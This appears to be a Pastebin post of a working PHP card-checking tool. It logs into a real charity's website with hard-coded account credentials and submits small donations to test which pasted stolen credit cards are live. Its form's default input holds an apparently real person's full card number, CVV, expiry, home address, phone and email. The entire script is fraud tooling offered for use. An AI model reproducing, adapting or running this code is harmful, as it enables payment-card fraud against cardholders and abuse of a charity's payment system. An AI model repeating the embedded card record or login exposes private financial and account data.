Advertisement
kusanghi

Untitled

May 5th, 2014
3,909
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.29 KB | None | 0 0
  1. <title>CCV checker - Kusanghi</title>
  2.  
  3. <style>
  4. body, table{
  5.     background:#000000;
  6.     padding:5px;
  7.     margin:5px;
  8.     font-family:Tahoma;
  9.     font-size:11px;
  10.     color:#FFFFFF;
  11. }
  12. textarea,input,select
  13. {
  14.     background:#736F6E;
  15.     color:#FFFFFF;
  16.     border:dashed #ffff00;
  17. }
  18. a {
  19.     color:#00ff00;
  20. }
  21. a:hover{
  22.     color:#ffff00;
  23. }
  24.  
  25.  
  26. fieldset {
  27.   padding:5px;
  28.   border-width: 1px;
  29.   border-style: dotted;
  30.   border-color: #ccc;
  31.   text-align: left;
  32.   background: #000000;
  33.   position: relative;
  34. }
  35.  
  36. legend {
  37.   border-width: 1px;
  38.   border-style: solid;
  39.   border-color: #ccc;
  40.   padding: 0 0.5em;
  41.   background: #000000;
  42.   font-size: 110%;
  43.   color: #3e8f96;
  44.   line-height: 1.5em;
  45.   position: relative;
  46.   top: -0.75em;
  47.   letter-spacing: 2px;
  48.   font-weight: bold;
  49. }
  50. .style1 {
  51.     background-color: #008000;
  52. }
  53. </style>
  54. <?php
  55. error_reporting(0);
  56. ?>                             
  57. <?php
  58. error_reporting(0);
  59. set_time_limit(0);
  60. function _curl($url,$post="",$usecookie = false) {  
  61.     $ch = curl_init();
  62.     if($post) {
  63.         curl_setopt($ch, CURLOPT_POST ,1);
  64.         curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  65.     }
  66.     curl_setopt($ch, CURLOPT_URL, $url);
  67.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  68.     curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");
  69.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  70.     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  71.     if ($usecookie) {
  72.     curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);
  73.     curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);    
  74.     }
  75.     curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  76.     $result=curl_exec ($ch);
  77.     curl_close ($ch);
  78.     return $result;
  79. }
  80.  
  81.  
  82.  
  83. function percent($num_amount, $num_total) {
  84. $count1 = $num_amount / $num_total;
  85. $count2 = $count1 * 100;
  86. $count = number_format($count2, 0);
  87. return $count;
  88. }
  89.  
  90. function getStr($string,$start,$end){
  91.     $str = explode($start,$string);
  92.     $str = explode($end,$str[1]);
  93.     return $str[0];
  94. }
  95.  
  96. function checkMon($date,$type){
  97.     $len = strlen($date);
  98.     if ($type == 2){
  99.         if($len == 2){
  100.             return $date;
  101.         }
  102.         elseif($len == 1){
  103.             switch($date){
  104.                 case '1':  $date='01'; break;
  105.                 case '2':  $date='02'; break;
  106.                 case '3':  $date='03'; break;
  107.                 case '4':  $date='04'; break;
  108.                 case '5':  $date='05'; break;
  109.                 case '6':  $date='06'; break;
  110.                 case '7':  $date='07'; break;
  111.                 case '8':  $date='08'; break;
  112.                 case '9':  $date='09'; break;
  113.             }
  114.         }
  115.         return $date;
  116.     }
  117.     elseif ($type == 1){
  118.         if($len == 2){
  119.             switch ($date){
  120.                 case '01':  $date='1'; break;
  121.                 case '02':  $date='2'; break;
  122.                 case '03':  $date='3'; break;
  123.                 case '04':  $date='4'; break;
  124.                 case '05':  $date='5'; break;
  125.                 case '06':  $date='6'; break;
  126.                 case '07':  $date='7'; break;
  127.                 case '08':  $date='8'; break;
  128.                 case '09':  $date='9'; break;
  129.                 case '10': $date='10'; break;
  130.                 case '11': $date='11'; break;
  131.                 case '12': $date='12'; break;
  132.             }
  133.             return $date;
  134.         }
  135.         elseif($len == 1) return $date;
  136.     }
  137.     else return false;
  138. }
  139.  
  140.  
  141. function checkYear($date,$type){
  142.     $len = strlen($date);
  143.     if($type == 4){
  144.         if($len == 4) return $date;
  145.         elseif($len == 2) return "20".$date;
  146.     }
  147.     elseif($type == 2){
  148.         if($len == 2) return $date;
  149.         elseif($len == 4) return substr($date,-2);
  150.     }
  151.     else return false;
  152. }
  153.  
  154. function multi_explode($pattern, $string, $standardDelimiter = ':'){
  155.     $string = preg_replace(array($pattern, "/{$standardDelimiter}+/s"), $standardDelimiter, $string);
  156.     return explode($standardDelimiter, $string);
  157. }
  158.  
  159. function info($ccline,$type){
  160.     $iscvv = 1;
  161.     $pattern = '/[:\|\\\\\/\s]/';
  162.     $line = multi_explode($pattern,$ccline);
  163.    
  164.     $typemy = explode(" ",$type);
  165.     $typem = strlen($typemy[0]);
  166.     $typey = strlen($typemy[1]);
  167.    
  168.     $amex = "american_express";
  169.     $visa = "visa";
  170.     $mast = "master";
  171.     $disc = "Discover";
  172.  
  173.     foreach($line as $col){
  174.         if(is_numeric($col)){
  175.             switch(strlen($col)){
  176.                 case 15:
  177.                     if(substr($col,0,1)==3){
  178.                         $ccnum['num'] = $col;
  179.                         $ccnum['type'] = $amex;
  180.                     }
  181.                     break;
  182.                 case 16:
  183.                     switch(substr($col,0,1)){
  184.                         case '4':
  185.                             $ccnum['num'] = $col;
  186.                             $ccnum['type'] = $visa;
  187.                             break;
  188.                         case '5':
  189.                             $ccnum['num'] = $col;
  190.                             $ccnum['type'] = $mast;
  191.                             break;
  192.                         case '6':
  193.                             $ccnum['num'] = $col;
  194.                             $ccnum['type'] = $disc;
  195.                             break;
  196.                     }
  197.                     break;
  198.                 case 1:
  199.                     if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))) $ccnum['mon'] = checkMon($col,$typem); break;
  200.                 case 2:
  201.                     if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))){
  202.                         $ccnum['mon'] = checkMon($col,$typem);
  203.                     }
  204.                     elseif (($col >= 9) and ($col <= 19) and (isset($ccnum['mon'])) and (!isset($ccnum['year'])))    $ccnum['year'] = checkYear($col,$typey);
  205.                     break;
  206.                 case 4:
  207.                     if (($col >= 2009) and ($col <= 2019) and (isset($ccnum['mon'])))    $ccnum['year'] = checkYear($col,$typey);
  208.                     elseif ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,2)>= 9) and (substr($col,2,2) <= 19) and (!isset($ccnum['mon'])) and (!isset($ccnum['year']))){
  209.                         $ccnum['mon'] = checkMon(substr($col,0,2),$typem);
  210.                         $ccnum['year'] = checkYear(substr($col,-2),$typey);
  211.                     }
  212.                     else $ccv['cv4'] = $col;
  213.                     break;
  214.                 case 6:
  215.                     if ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,4)>= 2009) and (substr($col,2,4) <= 2019)){
  216.                         $ccnum['mon'] = checkMon(substr($col,0,2),$typem);
  217.                         $ccnum['year'] = checkYear(substr($col,-2),$typey);
  218.                     }
  219.                     break;
  220.                 case 3:
  221.                     $ccv['cv3'] = $col;
  222.                     break;
  223.             }
  224.         }
  225.     }
  226.     if($iscvv == 1){
  227.         if ($ccnum['type'] == $amex) $ccnum['cvv'] = $ccv['cv4'];
  228.         else $ccnum['cvv'] = $ccv['cv3'];
  229.         return $ccnum;
  230.     }
  231.     else return $ccnum;
  232. }
  233. function inStr($s,$as){
  234.     $s=strtoupper($s);
  235.     if(!is_array($as)) $as=array($as);
  236.     for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
  237.     return false;
  238. }
  239.  
  240. if ($_POST['cclist']){
  241.         global $cookie;
  242.         $cookie = tempnam('tmp','avo'.rand(1000000,9999999).'tmp.txt');
  243.  
  244.         $cclive = "";
  245.         $ccdie = "";
  246.         $ccerr = "";
  247.         $cccant = "";
  248.         $uncheck = "";
  249.         $limit = "";
  250.        
  251.         $cclist = trim($_POST['cclist']);
  252.         $cclist = str_replace(array("\\\"","\\'"),array("\"","'"),$cclist);
  253.         $cclist = str_replace("\r\r","\r",$cclist);
  254.         $cclist = str_replace("\n\n","\n",$cclist);
  255.         $cclist = explode("\n",$cclist);
  256.  
  257.  
  258.    
  259.         $STT = 0;
  260.         $TOTAL = count($cclist);
  261.    
  262.         for($i=0;$i<count($cclist);$i++){
  263.             $ccnum = info($cclist[$i],"xx yyyy");
  264.             $type = $ccnum['type'];
  265.             $ccn = $ccnum['num'];
  266.             $ccmon = $ccnum['mon'];
  267.             $ccyear = $ccnum['year'];
  268.             $cvv = $ccnum['cvv'];
  269.            
  270.             if ($ccn){
  271.                 $STT++;
  272. // Process Login
  273.         $UserLogin = 'member.4rum@gmail.com';
  274.         $PassLogin = 'Bao132';
  275.         $link = "https://www.survivalinternational.org/supporter_session";
  276.         $post = "supporter_session%5Bemail%5D=".$UserLogin."&supporter_session%5Bpassword%5D=".$PassLogin."&supporter_session%5Bremember_me%5D=0&supporter_session%5Bremember_me%5D=1&commit=Sign+in";
  277.         $s = _curl($link,$post,$cookie);
  278. // Process Check
  279.         $link = "https://www.survivalinternational.org/donations";
  280.         $post = "donation_type=donation&donation%5Bcurrency%5D=USD&donation%5Bamount%5D=1.00&donation%5Bfrequency%5D=monthly&payment_method=credit_card&nil_class%5Baccount_name%5D=&nil_class%5Baccount_number%5D=&nil_class%5Bsort_code%5D=&credit_card%5Bnumber%5D=$ccn&credit_card%5Bissue_number%5D=&credit_card%5Bstart_month%5D=&credit_card%5Bstart_year%5D=&credit_card%5Bverification_value%5D=$cvv&credit_card%5Bmonth%5D=$ccmon&credit_card%5Byear%5D=$ccyear&commit=Process+my+donation+%C2%BB";
  281.         $s = _curl($link,$post,$cookie);           
  282.                     if(inStr($s,'Thank you!')){
  283.                         echo "$STT/$TOTAL | <font color=green>Live | ".$cclist[$i]." "." | kusanghi\n</font><br>";
  284.                         $cclive .= $cclist[$i]."\n" ;
  285.                     }
  286.                     elseif(inStr($s,"Sorry, we couldn't verify your payment details. Please try again, or use a different payment method. Thank you for your support.")){
  287.                         echo "$STT/$TOTAL | <font color=red>Die | ".$cclist[$i]." "." | kusanghi\n</font><br>";  
  288.                         $ccdie .= $cclist[$i]."\n";
  289.                     }
  290.                     elseif(stristr($s,'Please fill in your card expiry year')){
  291.                         echo "$STT/$TOTAL | <font color=blue>Exp | ".$cclist[$i]." "." | kusanghi\n</font><br>";
  292.                         $ccexp .= $cclist[$i]."\n";
  293.                     }
  294.                     elseif(inStr($s,"Please check your credit card number - it doesn't appear to be valid")){
  295.                         echo "$STT/$TOTAL | <font color=DarkTurquoise>Card Invalid | ".$cclist[$i]." "." | kusanghi\n</font><br>";
  296.                         $ccinva .= $cclist[$i]."\n";
  297.                     }
  298.                     else{
  299.                         echo "$STT/$TOTAL | <font color=orange>Cant Check | ".$cclist[$i]." "." | kusanghi\n</font><br>";
  300.                         $cccanot .= $cclist[$i]."\n";
  301.                     }
  302.                    
  303.                 }
  304.                 flush();
  305.         }
  306.         unlink($cookie);
  307.  
  308.         $per1 = percent(count(explode("\n",$cclive))-1,count($cclist));
  309.         $per2 = percent(count(explode("\n",$ccdie))-1,count($cclist));
  310.         $per3 = percent(count(explode("\n",$ccinva))-1,count($cclist));
  311.         $per4 = percent(count(explode("\n",$ccexp))-1,count($cclist));
  312.         $per5 = percent(count(explode("\n",$cccant))-1,count($cclist));
  313.         $per6 = percent(count(explode("\n",$limit))-1,count($cclist));
  314.         echo "<br><br><center><input type='submit' value='Next Check' onclick='location.replace(\"?\")'/></center>";
  315.         echo "<center>";
  316.         if($cclive!=""){
  317.             echo "<h2><font color=green>Live</font> $per1 % (".(count(explode("\n",$cclive))-1)."/".count($cclist).")</h2>";
  318.             echo "<textarea wrap=off rows=10 style=\"width:90%\">$cclive</textarea><br>";
  319.         }
  320.         if($ccdie!=""){
  321.             echo "<h2><font color=red>Die</font> $per2 % (".(count(explode("\n",$ccdie))-1)."/".count($cclist).")</h2>";
  322.             echo "<textarea wrap=off rows=10 style=\"width:90%\">$ccdie</textarea><br>";
  323.         }
  324.         if($ccinva!=""){
  325.             echo "<h2><font color=red>Invalid</font> $per3 % (".(count(explode("\n",$ccinva))-1)."/".count($cclist).")</h2>";
  326.             echo "<textarea wrap=off rows=10 style=\"width:90%\">$ccinva</textarea><br>";
  327.         }
  328.         if($ccexp!=""){
  329.             echo "<h2><font color=red>Exp</font> $per4 % (".(count(explode("\n",$ccexp))-1)."/".count($cclist).")</h2>";
  330.             echo "<textarea wrap=off rows=10 style=\"width:90%\">$ccexp</textarea><br>";
  331.         }
  332.         if($cccant!=""){
  333.             echo "<h2><font color=orange>CantCheck</font> $per5 % (".(count(explode("\n",$cccant))-1)."/".count($cclist).")</h2>";
  334.             echo "<textarea wrap=off rows=10 style=\"width:90%\">$cccant</textarea><br>";
  335.         }
  336.  
  337. }
  338.  
  339. else{
  340. ?>
  341. <center><span class="style1">ACCEPT VISA-MASTER-AMEX<br>Accept All Country</span></center>
  342. <form method="POST" action="">
  343.       <fieldset>
  344.           <legend>Enter List CC :</legend>
  345.             <form action="" method=post name=f>
  346.  
  347.         <p align="center">
  348.         <textarea id="cclist" name="cclist" class="textarea" style="width: 978px; height: 210px">John M Ereth|4388540016317850|04|15|347|9826 El Tulipan Circle|Fountain Valley|CA|92708|United States|United States|714.603.2447|jereth47@hotmail.com|</textarea><br>Duplicate Remove: <input name=dup type=checkbox value=1 checked> Sort By Type: <input name=type type=checkbox value=1 checked><br>
  349.             Filter Date : <input name=date type=checkbox value=1 checked> Only check BIN: <input type=text name=bin MAXLENGTH=6 size=8 style="text-align:center"><br>
  350.         <input type=submit name=submit value="CHECK">
  351.  
  352.     </p>
  353.  
  354.     </form>
  355. </fieldset>
  356.     <?php }?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement